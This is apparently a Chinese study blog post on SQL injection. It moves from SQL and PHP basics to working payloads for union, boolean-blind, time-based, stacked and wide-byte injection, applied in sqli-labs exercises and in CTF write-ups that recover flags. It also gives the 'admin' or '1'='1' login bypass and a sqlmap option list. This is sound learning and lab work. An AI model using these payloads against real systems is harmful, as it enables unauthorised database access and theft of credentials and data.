sql注入基础

发布时间 2024-01-06 02:06:16作者: TLSN

SQL命令基础

一、sql命令的执行顺序

1、SQL案例:

select…distinct…count()…from…table_name…on…join…where…group by…having…order by…limit

2、SQL执行的顺序(操作中临时表不使用了会被回收)

from -> on -> join -> where -> group by -> count(聚合函数) -> having -> select -> distinct -> order by -> limit

二、sql命令语法

数据库

1、查看数据库 : show databases;

2、创建数据库 : create database test charset utf8;

3、删除数据库 : drop database test;

4、选择数据库 : use test;

1、创建表 :

create table test_table

(

id int,

name varchar(40),

sex char(4),

birthday date,

job varchar(100)

);

2、查询数据表的信息 : show full columns from test_table;

3、查询数据表所有列的内容 : select * from test_table

4、删除表 : drop table test_table;

5、重命名表 : rename table test_table to user;

6、插入数据 : insert into user

(

id,name,sex,birthday,job)

VALUES

(

1,'ctfstu','male','1999-05-01','IT');

再次select * from user;

image-20240104215052560

7、为表增加一列 : alter table user add salary decimal(8,2); // 添加了salary这一列,最大是8位,小数点后可保留两位

8、修改所有的用户/行信息 : update user set salary=5000; // 设置所有列salary值为5000

再次查询:

image-20240104215115880

9、用where限定某一行: update user set name='benben' where id=1 ; // 只将id=1的用户名字改为 benben

再查看整张表

image-20240104215124378

10、删除某一列 : alter table user drop salary;

11、删除某一行 : delete from user where job='IT'; // 删除job='IT'的用户

12、删除某张表 : delete from user;

三、数据库查询

1、查询表中所有数据 : select * from users;

查询表中id为1的数据 : select * from users where id=1;

查询表中id为1或2或3或4的数据 : SELECT * FROM users WHERE id in (1,2,3,4); 或者这样查 :SELECT * FROM users WHERE id in (1,2,3,4);

2、子查询(嵌套查询)

select * from users where id=(select id from users where username=('admin')); // 优先查询括号内的,括号内查询的是id,括号外查询的id号是括号内查询的结果

3、union联合查询

select id from users union select email_id from emails; // 其实就是前面的查询与后面查询的行简单的堆起来

users表:

image-20240104215145848

emails表 :

image-20240104215154003

union查询的结果 :

image-20240104215202220

union查询的一个大坑!!!: 前后union查询的列数一定得相等!!!

比如 select * from users where id=1 union select * from emils where id=1; 就会报错

解决方案 : 在列数少的查询语句中补列:

select * from users where id=1 union select *,3 from emails where id=1;

4、group by 分组查询

select username from users group by username; // 这里把username相同的分为了一组

表数据:

image-20240104215218501

查询结果:

image-20240104215226847

这里讲一个数据库高于5.7.5的group by 问题,参考 https://blog.csdn.net/u012660464/article/details/113977173

select username from users group by username; 是毫无疑问正确的,而 select id,password,username from users group by username; 在5.7.5一下的数据库版本不会报错,在5.7.5以上的版本会报错,因为sql_mode默认开启了only_full_group_by 属性,也就是说,如果select的字段不在group by中,并且select 的字段未使用聚合函数(SUM,AVG,MAX,MIN等)的话,那么这条sql查询是被mysql认为非法的,会报错误…

解决方案 :

方案一、使用ANY_VALUE函数:

select ANY_VALUE(id),ANY_VALUE(password),ANY_VALUE(username) from users group by username;

方案二、通过sql语句暂时性修改sql_mode

方案三、通过配置文件永久修改sql_mode

目前方案二与方案三用不到,暂不了解

group by后面直接跟数字的情况 : group by 1 是指按照第一列分组

以下面这张表为例,

image-20240104215240161

select id from users group by 1; 就相当于select id from users group by id;

select ANY_VALUE(id),ANY_VALUE(password),ANY_VALUE(username) from users group by 2; 就是按照password分组

而如果执行 select ANY_VALUE(id),ANY_VALUE(password),ANY_VALUE(username) from users group by 4;就会报错,因为不存在第四列,故不能按第四列分组!!!

实战过程中我们可以使用这个trick来确定表的列数

5、order by 排序

给出一下表

image-20240104215248437

select * from users order by 1; // 对第一列的信息进行排序,默认升序

select * from users order by 2; // 对第二列信息进行升序排序

image-20240104215256804

同理,我们可以使用select * from users order by 4; 的报错来判断该数据库列数小于4

6、limit限制输出

select *from users limit 1,3 ; // 从第一行开始显示三行,注意是行!!!

7、or语句 (sql注入的判断)

select * from users where id=2 or username='benben'

8、GROUP_CONCAT (union 注入时尤为重要)

select GROUP_CONCAT(id,username, password) from users ; 功能就是多行变一行

image-20240104215305352

如果页面回显只回显一行的话,我们就可以用这个方法

9、查询当前数据库的名字

select database();

image-20240104215313763

10、查询当前数据库的版本

select version();

image-20240104215321984

php---sql 函数基础

mysql_fetch_array函数

三个参数

这个函数有三个参数:

MYSQL_ASSOC:返回关联数组(数组的键是列名)。
MYSQL_NUM:返回数字索引数组(数组的键是列的数值索引)。
MYSQL_BOTH:默认值,返回关联和数字索引数组。

假设有这样一个表

image-20240105143449319

1、MYSQL_ASSOC

我们使用

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result,MYSQL_ASSOC);
print_r($row);

得到的结果是这样的:

image-20240105143626735

化简一下为:

image-20240105143641305

返回关联数组---数组的键是列名

2、MYSQL_NUM

image-20240105143729077

image-20240105143808733

返回数字索引数组---数组的键是列的数值索引

3、MYSQL_BOTH

image-20240105143838551

image-20240105143922590

默认值,返回关联和数字索引数组。相当于关联数组与数字索引数组的结合

函数功能分析

在单独使用mysql_fetch_array函数时往往只能得到sql语句查询结果的第一行,而如果我们想查询到所有行,往往需要while循环配合函数使用

image-20240105145000872

image-20240105145012321

如图所示

mysqli_multi_query 函数

功能分析

image-20240105145256281

适合堆叠sql注入攻击

如果没有使用这个 multi_query函数的话,单独查询语句中出现 ; 会报错的

GET提交与POST提交

两者的区别

  1. host提交会显示在url中,post提交不会在url中显示

  2. get提交有长度限制,最长为2048个字符,host提交无长度限制,不只可以使用ASCII字符,还可以使用二进制数据

  3. image-20240105175449683

    这种叫做GET提交

    image-20240105175508378

    这种叫做POST提交

  4. 可以通过burpsuit抓包的方法来判断是GET还是POST

  5. GET注入时对于参数需要前加?,而post注入不需要,

image-20240105175917540

sql注入

image-20240104215330562

1、使用and 1=1 与 and 1=2来判断是字符型注入还是数字型注入

字符型注入与数字型注入

一直没理解字符型与数字型啥意思,直到我看了看sqli-libs的源码

字符型 :Less-1 :

image-20240104215340844

数字型 : Less-2

image-20240104215348694

原来字符型与数字型取决于是否加了引号,事实上,sqli-libs的sql文件是的uses的id字段恒用int创建的:

image-20240104215357368

也就是说,我们查询时用 where id=1 或 用 where id='1' 的效果是一样的!!!

下面,我们修改一下less-1的源码与less-2的源码,使其能回显出sql语句

image-20240104215404482

分别进行 and 1=1操作,观察回显

image-20240104215420838

字符型注入的less-1对应的sql语句是 SELECT * FROM users WHERE id='1 and 1=1' LIMIT 0,1

数字型注入的less-2对应的sql语句是 SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1

显然less-2的sql语句恒成立,而less-1的语句查询的id号为'1 and 1=1' 虽然没有准确查询,但不至于报错

再次分别进行and 1=2操作:

image-20240104215433566

可以发现:

字符型注入的less-1对应的sql语句是 SELECT * FROM users WHERE id='1 and 1=2' LIMIT 0,1

数字型注入的less-2对应的sql语句是 SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1

很显然less-2的sql语句是语法错误的,故浏览器无法正常显示,而less-1的sql语句虽然查询操作上是错误的,但是其语法操作是正确的,故会有回显

以此,我们可以分辨出字符型注入与数字型注入

这里还有一个小trick就是,字符型的注入貌似会截取字符前的所有数字,比如 where id = '1 and ' 等价于 where id = '1' ,而where id = '11 and' 等价于 where id '11'

image-20240104215442411

image-20240104215447547

或者我们也可以直接 ?id=1' 看回显

image-20240104215455043

''2'' LIMIT 0,1' 实际上是 ' '2'' LIMIT 0,1 ' ,显然最外圈的'是sql报错程序自动加的,内部的 '2' ' 是字符型注入造成的

2、注释符号

行间注释

image-20240104215504526

看似--+ 是注释符,实则--才是注释符,+的作用是空格

image-20240104215511221

image-20240104215514556

类似于这样,一个--+直接把后面的LIMIT给注释掉了

行内注释

image-20240104220024774

一般是 /* */

image-20240104220042838

3、union联合注入与group_concat

union联合注入前要先判断列数,可以利用group by 或 order by 判断列数

?id=1' group by 4 --+ 查询

之后id=1' union select xxx --+ (这里的xxx可以实现很多功能)

另外如果查询限制查(或者说限制回显一行)一行,而且还没办法注释掉,那么我们就可以这样 : 之后id=-1' union select xxx ,查询id不存在的一行,再进行union查询

比如:

SELECT * FROM users WHERE id='-1' union select 1,2,DATABASE() -- ' LIMIT 0,1

可以查询到 数据库的名字

下面尝试获得表名

由于mysql数据库的information_schema 表记录了整个数据库的所有表名与列名

image-20240104225018989

  1. 因此可以使用id=0' union select 1, table name,3 from information_schema.tables --+ 获取整个数据库的表

    再用where 过滤 : id=0' union select 1, table_name,3 from information_schema.tables where table_schema='security' --+

  2. 但是这种操作需要回显很多行表项,但我们被限制只能回显一行表项怎么办?这时候就要用到 group_concat 函数了:

    id=0' union select 1, group_concat (table_name),3 from information_schema.tables where table_schema='security' --+

之后尝试获得列名

  1. id=0' union select 1, 2,group_concat(column_name) from information_schema.columns --+
  2. 过滤: id=0' union select 1, 2,group_concat(column_name) from information_schema.columns where table_schema=databases() and table_name='users' --+

4、布尔盲注

less-8,我们可以看到布尔盲注是这样的:当我们输入的数据是正确的就会回显 1,错误的回显0

image-20240104230701932

我们只能根据其两种回显的状态来猜数据库中的值

  1. 我们输入 ?id=-1' 没有回显,输入?id=1' 有回显
  2. 我们输入 ?id=1' and ascii('e')=101 有回显
  3. 我们输入 ?id=1' and ascii(substr( (select database()) ,1,1 ))=101 有回显说明数据库名称的第一个字符为 'e'
  4. 同理爆破第二个字母 : ?id=1' and ascii(substr( (select database()) ,2,1 ))=101
  5. 可以选择二分法提高效率

然后查询列名:

?id=1'and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>100--+

之后是用户名:

?id=1' and ascii(substr((select username from users limit 0,1),1,1))>100--+

之后是密码:

?id=1' and ascii(substr((select password from users limit 0,1),1,1))>100--+

5、时间盲注与if

关键就是使用sleep函数

less-9

9与8的源码一样

我们使用时间注入:

http://192.168.190.129/sql/Less-9/?id=1 and sleep(3) --+

http://192.168.190.129/sql/Less-9/?id=1' and sleep(3) --+

通过回显等待三秒可以看到该注入是字符型注入

原因是当前一个命令执行完之后才会执行sleep函数

而如果我们尝试 http://192.168.190.129/sql/Less-9/?id=111' and sleep(3) --+ // 注意,数据库中实际是没有id=111的项的

不会发生3秒的sleep,可以判断出该表中不存在id=1的项目,依此可推出: 前一命令正确=> sleep,前一命令错误 => 不sleep,据此,时间盲注实际上也是布尔盲注

爆破过程中每一个命令执行成功都会sleep

我们可以通过if判断来使命令失败sleep,成功不sleep

select if(1=1,sleep(0),sleep(3))

如果1=1的话,就sleep(0),否则sleep(3),类似于三目运算符

6、堆叠注入

堆叠注入(Stacked injections), 从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。

less-38

image-20240105091158239

注意看源码,之前的关卡都是使用 mysql_query 进行查询,现在是使用 mysqli_multi_query 进行查询

mysqli_multi_query 函数的功能 : mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。

image-20240105091541323

构造
?id=0' union select 1,user(),database(); insert into users(username,password) values('stack', 'stack')%23 直接打

看一眼就明白

或者这样注入:

http://192.168.190.129/sql/Less-38/?id=0' ; select 1,user(),database(); insert into users(id,username,password) values('20','stackk', 'stack') --+

三条语句都会正常执行

或者直接用group_concat 爆出 table_name

http://192.168.190.129/sql/Less-39/?id=0 union select 1, group_concat(table_name),3 from information_schema.tables where table_schema='security' #

7、宽字节绕过注入

用于对抗addslashes()函数

该函数在指定的预定义字符前添加反斜杠。这些字符是单引号(')、双引号(")、反斜线(\)与NUL(NULL字符)。

less-32

看一下源码

image-20240105082806372

功能其实就相当于 addslashes()函数,它会把所有'、"前面加上 /

image-20240105082855581

绕过方式:

  1. 首先数据库必须得是GBKB编码

  2. 输入 %df' , 本来会转义单引号为 \' 但\(%5c)的编码为92,%df的编码为223,%df%5c符合GBK的取值范围,会被解析成一个文字,这样的话,\ 就失去了其原来的作用

  3. 例子

    image-20240105084631808

    我们注入http://192.168.190.129/sql/Less-32/?id=-1%df' union select 1,2,3 --+ ,此时addslashes() 函数会把 %df' 变为 %df\' ,而%df\ 正好是 %df5c 在gbk编码里为一个汉字,故 %df\直接被解析成汉字 ,原注入变为 :

    http://192.168.190.129/sql/Less-32/?id=-1�運' union select 1,2,3 --+ ,显然在联合注入中前一个不满足,后一个union满足,数据库就会把后面的内容返回出来,依此达到目的

1%df' --

常用函数

user():当前数据库用户
database():当前数据库名
version():当前使用的数据库版本
@@datadir:数据库存储数据路径
concat():联合数据,用于联合两条数据结果。如 concat(username,0x3a,password)
group_concat():和 concat() 类似,如 group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来
concat_ws():用法类似
hex() 和 unhex():用于 hex 编码解码
load_file():以文本方式读取文件,在 Windows 中,路径设置为 \\
select xxoo into outfile '路径':权限较高时可直接写文件

sql注入的绕过

1、绕过引号 的限制

-- hex 编码
SELECT * FROM Users WHERE username = 0x61646D696E 
-- char() 函数
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

2、绕过字符串黑名单

SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');s

使用 CONCAT() 时,任何个参数为 null,将返回 null,推荐使用 CONCAT_WS()CONCAT_WS()函数第一个参数表示用哪个字符间隔所查询的结果。

实战

[强网杯 2019]随便注

image-20240104215330562

先判断是什么注入类型

1' and 1=1 --+

1' and 1=2 --+

1 and 1=1 --+

1 and 1=2 --+

可以发现后两者回显

image-20240105114420364

判断出是字符型注入

判断是单引号还是双引号

(具体方法看trick第一条)

直接 1'" --+

image-20240105114211728

再 1"' --+

image-20240105114628864

再 1"' --

image-20240105121336416

产生了回显,由此可以判断是单引号闭合

查询列数

使用 group by 查询

1' group by 3 -- //注意一定要在-- 后面加一个空格

当查询到3的时候报错,判断出列数为2

判断回显位置

image-20240105121933371

显然这两处能看到回显

联合查询

1' union select 1,2 --

image-20240105122049244

发现被过滤了select操作,不好操作

堆叠注入

但是由于select函数被限制了

我们用不了,user(),database()这些函数,因为这些函数依赖于select显示出来

我们就用最原始的sql语句来操作

1' ; show databases;

image-20240105123559145

1';show tables; --

image-20240105123635353

再用show columns from tableName命令或 desc tableName 查看列名

注意,如果tableName是纯数字,需要用包裹,比如1';desc `1919810931114514`; --

image-20240105124439016

可以发现 1919810931114514 表明中存在flag字段

剩下最关键的一步就是取出来,怎么取呢?

被限制select 查看数据库表项的手段

直接抄作业

1、预编译

1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;

image-20240105133740579

2、预编译+16进制编码

我们可以直接将select * from `1919810931114514`语句进行16进制编码,即:73656c656374202a2066726f6d20603139313938313039333131313435313460,替换payload:

1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#

同时,我们也可以先定义一个变量并将sql语句初始化,然后调用

1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#
1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#

image-20240105133947408

3、alter

可以通过修改表名和列名来实现。
我们输入1后,默认会显示id为1的数据,可以猜测默认显示的是words表的数据,查看words表结构第一个字段名为id我们把words表随便改成words1,然后把1919810931114514表改成words,再把列名flag改成id,就可以达到直接输出flag字段的值的效果:
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);# 
然后通过1' or 1 = 1 #
成功获取到flag

4、handle

0';HANDLER `1919810931114514` OPEN ; HANDLER `1919810931114514` READ FIRST; HANDLER `1919810931114514` CLOSE; --   

image-20240105125615091

[SUCTF 2019]EasySQL

解法

可以堆叠注入,但没打出来,直接抄答案

https://www.cnblogs.com/Junglezt/p/16657688.html

要猜测到后台的判断语句是

select $_POST['query'] || ‘flag’ from Flag;

以此构造payload:

方法一、1;select *,1     // =>  select *,1 || flag from Flag
方法二、1;set sql_mode=pipes_as_concat;select 1		// select concat(1,flag) from Flag;

解析---解法一

在mysql数据库中 || 的功能是or

因此 1 || flag 相当于恒成立,也就是1,所以 1 || 'flag' <=> 1 ,设x为任意大小数字 x || 'flag' <=>1 ,如果我们要输入字符,那么就不得不输入引号,不然会报错,这也是为什么我们直接输入字符没有回显的原因

image-20240105150412195

这也是我们为什么不管输入的数据有多大,都会产生回显(因为恒为1嘛)

image-20240105150510028

那么我们就构造两个列 SELECT *, 1433223 || 'flag' from Flag 即 *,1秒了

image-20240105150856116

解析---解法二

一个关键的MySQL配置sql_mod,SQL_MOD:是MySQL支持的基本语法、校验规则
其中PIPES_AS_CONCAT:会将||认为字符串的连接符,而不是或运算符,这时||符号就像concat函数一样。
直接 1;set sql_mode=pipes_as_concat;select 1 秒了

感觉这个方法取巧了,就是在赌 || 后面的字符串是 'flag;

[极客大挑战 2019]LoveSQL

常规做法

账号与密码都输入 1' and 1=1 和输入1" and 1=1 可以判断出这俩都是字符型注入(1" 被吞了)

语句应该是这样的 : select * from users where username='$username' and password='$password';

同时 1' order by 3 # 可以判断出列数为3

union 联合查询

1' union select 1,user(),database() #

image-20240105160840218

可以得到 user为 root@localhost ,database() 为 geek

再次联合查询

id=1' union select 1, group_concat(table_name),3 from information_schema.tables where table_schema='geek' #

得到表名有geekuser,l0ve1ysq1两个

image-20240105160936374

再次联合查询

id=1' union select 1, 2,group_concat(column_name) from information_schema.columns where table_schema='geek' and table_name='geekuser' #

image-20240105161217337

得到列项有 id、username、password

再次联合

id=1' union select 1,2,group_concat(id,username,password) from geekuser #

id=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1 #

image-20240105184304293

image-20240105184247810

得到flag:flag{0e50acb2-36ec-453a-a17e-322948a44c5b}

万能密码法

admin' or '1'='1

1

image-20240105163030630

image-20240105163045948

之后再正常操作就行了

[极客大挑战 2019]BabySQL

常规 1' and 1=1 判断字符型还是数字型,经过判断发现是字符型并且服务器对一些关键字进行了过滤:

比如 anandd 过滤成 and,uniunionon 过滤成union

这个过滤的限制,我们可以轻松过掉

经过测试,至少这些关键字是被限制的 : or、and、by、union、select、from、where

直接对下面的五件套进行修改绕过即可

1---爆列数、	1'  order by 3 #  
2---爆数据库、	1'  union select 1,user(),database() # 
3---爆表名、	1' union select 1, group_concat(table_name),3 from information_schema.tables where table_schema='geek' # 
4---爆列名、	1' union select 1, 2,group_concat(column_name) from information_schema.columns where table_schema='geek' and table_name='geekuser' #
5---爆项、		1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1 # 
1'  oorrder bbyy 4#
1'  uniunionon seselectlect 1,user(),database() # 
1'  ununionion selselectect 1, group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema='geek' # 
1' ununionion selselectect 1, 2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema='geek' aandnd table_name='geekuser' #
1' ununionion selselectect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql # 

1、注入出列数

1'  oorrder bbyy 4#

显然是三列

image-20240105185648609

2、爆数据库

1'  uniunionon seselectlect 1,user(),database() # 

image-20240105190457053

3、爆表名

1'  ununionion selselectect 1, group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema='geek' # 

image-20240105190743634

4、爆列名

1' ununionion selselectect 1, 2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema='geek' aandnd table_name='geekuser' #

image-20240105190936164

5、爆项

1' ununionion selselectect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql # 

image-20240105191110833

image-20240105191136877

flag为 : flag{54c1b070-6e9f-45a9-ac57-6d449b7f2747}

拿下!

[PwnThyBytes 2019]Baby_SQL

看源码、起docker、学习docker命令、修改php源码、配置php环境、学习php基础命令、宽字符绕过、union注入、堆叠注入,经过长达n个小时的注入,还是没有思路,遂看了看wp

发现我一直遗漏了一个东西---session

https://xz.aliyun.com/t/9545#toc-9

看了wp的思路就是先绕过seesion 再 盲注爆破出flag

不管了,1点了,睡醒了再说,明天得继续赶rCore了

一些 trick

一、--+ 的trick

本来 + 的作用就是通过url解码,得到空格,但有时候在sql注入的时候并不会对 + 进行url 解码,比如

[强网杯 2019]随便注 这道题目:

image-20240105120634074

这样的话, + 反而成了累赘

不过我们可以观察url的变化来判断出是否 --+ 经过了url解码,还是说直接被作为了字符串传入了sql解析器中

另外如果--+ 没有经过url解码的话,它被传入sql解析器的时候类似这样

image-20240105120958995

当它被sql语句的引号包裹时,就只是单纯的作为字符串,而若它没有被引号包裹的话,就可以做注释符,不过需要把 + 换成空格(而且如果不经过url解码的话,直接在后面加空格就行了)

image-20240105121136558

这样就完美注释了

我们可以凭此来构造'" 与"' 来判断是单引号闭合还是双引号闭合

比如 : '" --+

image-20240105121426054

此时的 --+ 再 " 的作用范围,故运行报错:

image-20240105121556000

"' --+ :

image-20240105121505104

此时的--+ 不再任何引号作用范围内,故,如果我们吧+换成空格就能正常执行,看到回显

二、select被限制的情况下读取表数据的手段

select被限制同时意味着 database()、user()函数等一系列函数使用不了

但其实这些语句都可以通过最原始的sql语句来代替,比如show databases; 查看数据库 show tables查看表名 show columns from tableName命令或 desc tableName 查看列名

1.预编译

预编译相当于定一个语句相同,参数不通的Mysql模板,我们可以通过预编译的方式,绕过特定的字符过滤

格式:

PREPARE 名称 FROM 	Sql语句 ? ;
SET @x=xx;
EXECUTE 名称 USING @x;

举例:查询ID为1的用户:

方法一:
SElECT * FROM t_user WHERE USER_ID = 1

方法二:
PREPARE jia FROM 'SElECT * FROM t_user WHERE USER_ID = 1';
EXECUTE jia;

方法三:
PREPARE jia FROM 'SELECT * FROM t_user WHERE USER_ID = ?';
SET @ID = 1;
EXECUTE jia USING @ID;

方法四:
SET @SQL='SElECT * FROM t_user WHERE USER_ID = 1';
PREPARE jia FROM @SQL;
EXECUTE jia;

2. 更改表名

  • 修改表名:ALTER TABLE 旧表名 RENAME TO 新表名;
  • 修改字段:ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;

3. handle

  • handle不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据,格式:
打开表:
HANDLER 表名 OPEN ;

查看数据:
HANDLER 表名 READ next;

关闭表:
HANDLER 表名 READ CLOSE;

sql万能密码以及原理

admin' or '1'='1 		// 这里的功能就是如果真的有admin账号,那么就能用 

原理:

目标后台是这样的: SELECT * FROM users WHERE username = '$username' AND password = '$password'

=> SELECT * FROM users WHERE username = 'admin' or '1'='1' AND password = '$password'
  1. 首先要知道的是【=】优先于【and】,【and】优先于【or】,原来的式子可以写作 : SELECT * FROM users WHERE (username = 'admin') or ('1'='1' AND password = '$password') 很显然 如果存在 admin用户,那么 or 前面就是1,就是存在的,就不用管后面存不存在了。。这样查询的结果是恒成立的
  2. 而且攻击方的判断语句不是 SELECT * FROM users where username=$unam AND passeord = $passwd 这样使用变量来判断的,而是用sql查询的返回值判断的
  3. 那么就会直接进入 admin的后台

当然 admin' or '1'='10086 也算万能钥匙

sqlmap的使用

还没用sqlmap做出过题呢

image-20240105161901063

我的sqlmap在 /home/tlsn/CTFTOOLS/sql-map/sqlmap 路径下

python3 ./sqlmap.py --help

抄作业---sqlmap的基本选项

Options:

 -h,--help  显示基本帮助信息并退出

 -hh    显示高级帮助信息并退出

 --version  显示程序版本信息并退出

 -v VERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。

Target目标

在这些选项中必须提供至少有一个确定目标

 -d DIRECT    直接连接数据库的连接字符串

-u URL, --url=URL   目标URL (e.g."http://www.site.com/vuln.php?id=1"),使用-u或者--url

-l LOGFILE     从Burp或者WebScarab代理日志文件中分析目标

-x SITEMAPURL  从远程网站地图(sitemap.xml)文件来解析目标

-m BULKFILE      将目标地址保存在文件中,一行为一个URL地址进行批量检测。

-r REQUESTFILE   从文件加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等),请求是HTTPS的时需要配合这个--force-ssl参数来使用,或者可以在Host头后门加上:443

-g GOOGLEDORK     从谷歌中加载结果目标URL(只获取前100个结果,需要挂代理)

-c CONFIGFILE       从配置ini文件中加载选项

Request 请求:

这些选项可以用来指定如何连接到目标URL


--method=METHOD  强制使用给定的HTTP方法(例如put)

    --data=DATA   通过POST发送数据参数,sqlmap会像检测GET参数一样检测POST的参数。--data="id=1" -f --banner --dbs --users
   --param-del=PARA..  当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。

   --cookie=COOKIE     HTTP Cookieheader 值

   --cookie-del=COO..  用来分隔cookie的字符串值

   --load-cookies=L..  Filecontaining cookies in Netscape/wget format

   --drop-set-cookie   IgnoreSet-Cookie header from response

   --user-agent=AGENT  默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)可以使用--user-agent参数来修改,同时也可以使用--random-agent参数来随机的从./txt/user-agents.txt中获取。当--level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入

   --random-agent     使用random-agent作为HTTP User-Agent头值

   --host=HOST         HTTP Hostheader value

   --referer=REFERER   sqlmap可以在请求中伪造HTTP中的referer,当--level参数设定为3或者3以上的时候会尝试对referer注入

   -H HEADER, --hea..  额外的http头(e.g."X-Forwarded-For: 127.0.0.1")

   --headers=HEADERS  可以通过--headers参数来增加额外的http头(e.g."Accept-Language: fr\nETag: 123")

   --auth-type=AUTH.. HTTP的认证类型 (Basic, Digest, NTLM or PKI)

   --auth-cred=AUTH..  HTTP 认证凭证(name:password)

   --auth-file=AUTH..  HTTP 认证PEM证书/私钥文件;当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file,key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。

   --ignore-401        Ignore HTTPError 401 (Unauthorized)忽略HTTP 401错误(未授权的)

   --ignore-proxy      忽略系统的默认代理设置

   --ignore-redirects忽略重定向的尝试

   --ignore-timeouts   忽略连接超时

   --proxy=PROXY       使用代理服务器连接到目标URL

   --proxy-cred=PRO..  代理认证凭证(name:password)

   --proxy-file=PRO..  从文件加载代理列表

   --tor               使用Tor匿名网络

   --tor-port=TORPORT  设置Tor代理端口

   --tor-type=TORTYPE  设置Tor代理类型 (HTTP,SOCKS4 or SOCKS5 (缺省))

   --check-tor       检查Tor的是否正确使用

   --delay=DELAY   可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。

   --timeout=TIMEOUT   可以设定一个HTTP(S)请求超过多久判定为超时,10表示10秒,默认是30秒。

   --retries=RETRIES   当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。

   --randomize=RPARAM可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样

   --safe-url=SAFEURL  提供一个安全不错误的连接,每隔一段时间都会去访问一下

   --safe-post=SAFE..  提供一个安全不错误的连接,每次测试请求之后都会再访问一遍安全连接。

   --safe-req=SAFER..  从文件中加载安全HTTP请求

   --safe-freq=SAFE..  测试一个给定安全网址的两个访问请求

   --skip-urlencode    跳过URL的有效载荷数据编码

   --csrf-token=CSR..  Parameter usedto hold anti-CSRF token参数用来保存反CSRF令牌

   --csrf-url=CSRFURL  URL地址访问提取anti-CSRF令牌

   --force-ssl         强制使用SSL/HTTPS

   --hpp               使用HTTP参数污染的方法

   --eval=EVALCODE     在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用--eval参数在每次请求时根据所写python代码做完修改后请求。(e.g "import hashlib;id2=hashlib.md5(id).hexdigest()")

 sqlmap.py -u"http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b"--eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

Injection 注入

这些选项可用于指定要测试的参数、提供自定义注入有效载荷和可选的篡改脚本。

   -p TESTPARAMETER    可测试的参数

   --skip=SKIP         跳过对给定参数的测试

   --skip-static       跳过测试不显示为动态的参数

   --param-exclude=..  使用正则表达式排除参数进行测试(e.g. "ses")

   --dbms=DBMS         强制后端的DBMS为此值

   --dbms-cred=DBMS..  DBMS认证凭证(user:password)

   --os=OS            强制后端的DBMS操作系统为这个值

   --invalid-bignum    使用大数字使值无效

   --invalid-logical   使用逻辑操作使值无效

   --invalid-string    使用随机字符串使值无效

   --no-cast          关闭有效载荷铸造机制

   --no-escape         关闭字符串逃逸机制

   --prefix=PREFIX     注入payload字符串前缀

   --suffix=SUFFIX     注入payload字符串后缀

   --tamper=TAMPER   使用给定的脚本篡改注入数据

Detection 检测

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容

   --level=LEVEL     执行测试的等级(1-5,默认为1)

   --risk=RISK       执行测试的风险(0-3,默认为1)

   --string=STRING    查询时有效时在页面匹配字符串

   --not-string=NOT..  当查询求值为无效时匹配的字符串

   --regexp=REGEXP     查询时有效时在页面匹配正则表达式

   --code=CODE       当查询求值为True时匹配的HTTP代码

   --text-only        仅基于在文本内容比较网页

   --titles           仅根据他们的标题进行比较

Techniques技巧

 这些选项可用于调整具体的SQL注入测试

   --technique=TECH    SQL注入技术测试(默认BEUST)

   --time-sec=TIMESEC  DBMS响应的延迟时间(默认为5秒)

   --union-cols=UCOLS  定列范围用于测试UNION查询注入

   --union-char=UCHAR  暴力猜测列的字符数

   --union-from=UFROM  SQL注入UNION查询使用的格式

